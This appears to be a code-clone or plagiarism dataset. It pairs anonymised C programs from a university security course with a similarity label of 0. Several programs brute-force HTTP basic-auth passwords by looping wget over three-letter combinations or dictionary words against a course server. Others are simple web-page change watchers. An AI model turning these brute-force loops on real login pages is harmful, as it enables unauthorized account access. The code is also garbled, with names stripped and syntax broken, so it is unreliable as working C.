puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
0
069.c
050.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { FILE *fp; char *chk,[4]; int i=1; while (i == 1) { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir first"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* first/"); system("mv www.cs.rmit.edu./students/*.* first/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("diff first second > imagesdifference.txt"); fp = fopen("imagesdifference.txt","r"); chk = fgets(, 4, fp); if (strlen() != 0) system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt"); } return 0; }
0
069.c
016.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <sys/time.h> void emptyFile(char* name) { FILE* myFile; myFile = fopen(name,"w"); fclose(myFile); } int (void) { FILE* myFile; char* myString; myString = malloc(sizeof(char ) * 100); emptyFile(".old.html"); emptyFile(".new.html"); system("wget -O .old.html -q http://www.cs.rmit.edu./students/"); while(1) { emptyFile(".new.html"); system("wget -O .new.html -q http://www.cs.rmit.edu./students/"); system("diff .old.html .new.html > watch.txt"); myFile = fopen("watch.txt","r"); if(myFile != (FILE*) NULL) { fgets(myString,100,myFile); if(strlen(myString) > 0) { system("mail @cs.rmit.edu. < watch.txt"); system("cp .new.html .old.html"); } } sleep(60*60*24); } return 1; }
0
069.c
007.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <sys/time.h> #include <strings.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> int main() { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir home"); system("mv www.cs.rmit.edu./images/*.* home/"); system("mv www.cs.rmit.edu./students/*.* home/"); system("cd www.cs.rmit.edu./images"); sleep(1); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("cd www.cs.rmit.edu./images"); system("diff home second > difference.txt"); system("mailx -s \"Difference in \" < difference.txt "); return 0; }
0
069.c
054.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; time_t u1,u2; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; FILE *fin1; char point[25]; fin1=fopen("./words.txt","r"); if(fin1==NULL) { printf(" open the file "); exit(0); } strcpy(temp2," --http-user= --http-passwd="); strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php"); strcpy(temp3,""); (void) time(&u1); while(!feof(fin1)) { fgets(point,25,fin1); if(strlen(point)<=4) { strcpy(temp3,temp1); strcat(temp3,temp2); strcat(temp3,point); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",point); printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } }
0
069.c
021.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> #include<string.h> int () { char a[100],c[100],c1[100],c2[100],m[50]; char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int i,j,k,count=0; int total_time,start_time,end_time; start_time = time(); for(i=0;i<52;i++) { m[0]=b[i]; m[1]='\0'; strcpy(c,m); printf("%s \n",c); for(j=0;j<52;j++) { m[0]=b[j]; m[1]='\0'; strcpy(c1,c); strcat(c1,m); printf("%s \n",c1); for(k=0;k<52;k++) { count++; printf("ATTEMPT :%d\n",count); m[0]=b[k]; m[1]='\0'; strcpy(c2,c1); strcat(c2,m); strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd="); strcat(a,c2); if(system(a)==0) { printf("Congratulations!!!!BruteForce Attack Successful\n"); printf("***********************************************\n"); printf("The Password is %s\n",c2); printf("The Request sent is %s\n",a); end_time = time(); total_time = (end_time -start_time); total_time /= 1000000000.0; printf("The Time Taken is : %llds\n",total_time); exit(1); } } } } return 0; }
0
069.c
030.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; int pass,count=0; char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'}; char [4]; char url1[100]; char url2[100]; startTime = time(); for (i=0;i<=52;i++) { for (j=0;j<=52;j++) { for(k=0;k<=52;k++) { count++; [0] = arr[i]; [1] = arr[j]; [2] = arr[k]; [3] = '\0'; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,); strcat(url1,url2); pass = system(url1); if (pass == 0) { printf("Success\n"); printf("Number of attempts = %d\n",count); stopTime = time(); final = stopTime-startTime; printf("The password for the user : %s\n",); printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); exit(1);} } } } }
0
069.c
044.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> char *itoa(int); int () { int t,t1,t2, timeinsec; int nofattempts = 0; char url[80], url1[80], *ur1, *ur2; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); int i = 65; int j ; int k ; char *c1, *c2, *c3; char *c12, pass[4]; int syst = 1; char a = 'a'; char inside[50]; t1 = time(); for (i = 65; i <= 122; i++) { if (i > 90 && i < 97) continue; for (j = 65; j <= 122; j++) { if (j > 90 && j < 97) continue; for (k = 65; k <= 122; k++) { fflush(stdin); if (k > 90 && k < 97) continue; c1 = itoa(i); c2 = itoa(j); c3 = itoa(k); pass[0] = *c1; pass[1] = *c2; pass[2] = *c3; pass[3] = '\0'; strcat(url, pass); strcat(url, url1); ++nofattempts; syst = system(url); printf("%s\n",pass); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t / 1000000000; printf(" Total .of attempts :- %d", nofattempts); printf("\n !!! 's the password:- %s\n", pass); printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } } } exit(0); } char *itoa(int a) { char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; char *ret; if ( a >= 97 && a <= 122) { ret = [a-97]; return ret; } if ( a >= 65 && a <= 90) { ret = [a-65]; return ret; } return "5"; }
0
069.c
051.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { int time1, time2, time_var; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); time1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); if (strlen(word) == 3) { syst = system(url); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); } if (syst == 0) { time2 = time(); time_var = time2 - time1; timeinsec = time_var/1000000000; printf("\n The Password is: %s",word); printf("\n of Attempts: %d\n",nofattempts); printf("\n Time Taken: %d seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
069.c
066.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <stdio.h> #include <stdlib.h> #include <time.h> int () { int cntr=0; char get[96]; char username[]=""; char password[16]; int R_VALUE; double time_used; clock_t , end; FILE* fp; fp = fopen("/usr/share/lib/dict/words","r"); = clock(); while ( fscanf(fp,"%s",&password) != EOF ) { if(strlen(password)>3) continue; cntr++; printf("%d >> PASSWORD SEND : %s \n",cntr, password); sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); exit(0); } } end = clock(); time_used = ((double) (end - )) / CLOCKS_PER_SEC; printf("time_used = %f\n", time_used); }
0
069.c
026.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <stdio.h> #include <sys/time.h> #include <strings.h> #include <stdlib.h> #include <ctype.h> int () { FILE *fileopen; char *t_tst,chk[6]; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir original"); system("mv www.cs.rmit.edu./images/*.* original/"); system("mv www.cs.rmit.edu./students/*.* original/"); sleep(75); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* fresh/"); system("mv www.cs.rmit.edu./students/*.* fresh/"); system("diff one two > image_dif.txt"); fileopen = fopen("imagedif.txt","r"); t_tst = fgets(chk, 6, fileopen); if (strlen(chk) != 0) system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt"); return 0; }
0